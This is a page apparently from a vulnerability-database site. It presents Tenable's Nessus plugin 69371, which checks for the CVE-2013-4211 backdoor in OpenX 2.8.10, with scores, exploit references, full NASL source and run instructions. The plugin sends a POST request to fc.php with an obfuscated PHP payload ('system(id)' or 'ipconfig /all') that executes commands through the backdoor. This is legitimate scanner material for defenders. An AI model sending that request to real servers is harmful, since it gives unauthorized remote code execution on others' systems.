OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution - Nessus
High Plugin ID: 69371This page contains detailed information about the OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.
Plugin Overview
ID: 69371
Name: OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution
Filename: openx_2_8_10_backdoor.nasl
Vulnerability Published: 2013-08-06
This Plugin Published: 2013-08-15
Last Modification Time: 2022-04-11
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies:
openx_detect.nasl
Required KB Items [?]: www/openx, www/PHP
Vulnerability Information
Severity: High
Vulnerability Published: 2013-08-06
Patch Published: 2013-08-07
CVE [?]: CVE-2013-4211
CPE [?]: cpe:/a:openx:openx
Synopsis
A web application hosted on the remote web server contains a backdoor.
Description
The version of OpenX installed on the remote host contains a backdoor and allows the execution of arbitrary PHP code, subject to the privileges under which the web server operates.
Solution
Upgrade to version 2.8.11 or later and refer to the project's blog post for steps from the vendor on cleaning an affected installation. Additionally, conduct a full security review of the host, as it may have been compromised.
Public Exploits
Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required
Here's the list of publicly known exploits and PoCs for verifying the OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution vulnerability:
- Metasploit: exploit/multi/http/openx_backdoor_php
[OpenX Backdoor PHP Code Execution] - Exploit-DB: exploits/php/remote/27529.rb
[EDB-27529: OpenX - Backdoor PHP Code Execution (Metasploit)]
Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.
WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.
Risk Information
CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score: | 7.5 (High) |
Impact Subscore: | 6.4 |
Exploitability Subscore: | 10.0 |
CVSS Temporal Score: | 6.5 (Medium) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 6.5 (Medium) |
CVSS Base Score: | 8.8 (High) |
Impact Subscore: | 5.9 |
Exploitability Subscore: | 2.8 |
CVSS Temporal Score: | 8.4 (High) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 8.4 (High) |
Go back to menu.
Plugin Source
This is the openx_2_8_10_backdoor.nasl nessus plugin source code. This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(69371);
script_version("1.9");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2013-4211");
script_bugtraq_id(61650);
script_name(english:"OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution");
script_set_attribute(attribute:"synopsis", value:
"A web application hosted on the remote web server contains a backdoor.");
script_set_attribute(attribute:"description", value:
"The version of OpenX installed on the remote host contains a backdoor
and allows the execution of arbitrary PHP code, subject to the
privileges under which the web server operates.");
script_set_attribute(attribute:"see_also", value:"http://blog.openx.org/08/important-update-for-openx-source-2-8-10-users/");
script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.8.11 or later and refer to the project's blog post
for steps from the vendor on cleaning an affected installation.
Additionally, conduct a full security review of the host, as it may have
been compromised.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'OpenX Backdoor PHP Code Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2013/08/06");
script_set_attribute(attribute:"patch_publication_date", value:"2013/08/07");
script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/15");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:openx:openx");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("openx_detect.nasl");
script_require_keys("www/openx", "www/PHP");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");
port = get_http_port(default:80, php:TRUE);
install = get_install_from_kb(
appname : "openx",
port : port,
exit_on_fail : TRUE
);
dir = install["dir"];
install_url = build_url(qs:dir, port:port);
# Hardcoded rot13 strings
# system(id);
cmd_linux = "flfgrz(vq);";
# echo system('ipconfig /all');
cmd_win = "rpub flfgrz('vcpbasvt /nyy');";
# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
if ("Windows" >< os) cmd = cmd_win;
else cmd = cmd_linux;
cmds = make_list(cmd);
}
else cmds = make_list(cmd_linux, cmd_win);
cmd_pats = make_array();
cmd_pats[cmd_linux] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats[cmd_win] = "Subnet Mask";
vuln = FALSE;
foreach cmd (cmds)
{
# Reverse the rot13 encoded string
cmd_buf = NULL;
len = strlen(cmd);
for (i = 1; i < len+1; i++)
{
cmd_buf += raw_string(ord(cmd[len-i]));
}
# Send request to execute our code
res = http_send_recv3(
method : "POST",
port : port,
data : "vastPlayer=" + cmd_buf,
item : dir + "/www/delivery/fc.php?script=deliveryLog:vastServeVideo" +
"Player:player&file_to_serve=flowplayer/3.1.1/flowplayer" +
"-3.1.1.min.js",
add_headers : make_array("Content-Type",
"application/x-www-form-urlencoded"),
exit_on_fail : TRUE
);
exploit_req = http_last_sent_request();
if (egrep(pattern:cmd_pats[cmd], string:res[2]))
{
vuln = TRUE;
output = res[2];
break;
}
}
if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, "OpenX", install_url);
if (report_verbosity > 0)
{
if (cmd == cmd_linux)
{
match = "uid";
report_cmd = "id";
}
else
{
match = "Windows IP";
report_cmd = "ipconfig /all";
}
# Format output
output = strstr(output, match);
# Get index of next line : ";if(this.className
pos = stridx(output, '"');
output = substr(output, 0, pos-1);
snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
report =
'\nNessus was able to execute the command "'+report_cmd+'" on the remote'+
'\nhost using the following request :' +
'\n' +
'\n' + exploit_req +
'\n';
if (report_verbosity > 1)
{
report +=
'\nThis produced the following output :'+
'\n' +
'\n' + snip +
'\n' + data_protection::sanitize_uid(output:chomp(output)) +
'\n' + snip +
'\n';
}
security_hole(port:port, extra:report);
}
else security_hole(port);
The latest version of this script can be found in these locations depending on your platform:
- Linux / Unix:
/opt/nessus/lib/nessus/plugins/openx_2_8_10_backdoor.nasl
- Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\openx_2_8_10_backdoor.nasl
- Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/openx_2_8_10_backdoor.nasl
Go back to menu.
How to Run
Here is how to run the OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):
- Click to start a New Scan.
- Select Advanced Scan.
- Navigate to the Plugins tab.
- On the top right corner click to Disable All plugins.
- On the left side table select CGI abuses plugin family.
- On the right side table select OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution plugin ID 69371.
- Specify the target on the Settings tab and click to Save the scan.
- Run the scan.
Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.
Basic usage:
/opt/nessus/bin/nasl openx_2_8_10_backdoor.nasl -t <IP/HOST>
Run the plugin with audit trail message on the console:
/opt/nessus/bin/nasl -a openx_2_8_10_backdoor.nasl -t <IP/HOST>
Run the plugin with trace script execution written to the console (useful for debugging):
/opt/nessus/bin/nasl -T - openx_2_8_10_backdoor.nasl -t <IP/HOST>
Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):
/opt/nessus/bin/nasl -K /tmp/state openx_2_8_10_backdoor.nasl -t <IP/HOST>
Go back to menu.
References
BID | SecurityFocus Bugtraq ID: See also:
- https://www.tenable.com/plugins/nessus/69371
- http://blog.openx.org/08/important-update-for-openx-source-2-8-10-users/
- https://vulners.com/nessus/OPENX_2_8_10_BACKDOOR.NASL
- 34373 - OpenX ac.php bannerid Parameter SQL Injection
- 35557 - OpenX fc.php MAX_type Parameter Traversal Local File Inclusion
- 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
- 71603 - FreeBSD : OpenX -- SQL injection vulnerability (3e33a0bb-6b2f-11e3-b042-20cf30e32f6d)
Version
This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file openx_2_8_10_backdoor.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.
Go back to menu.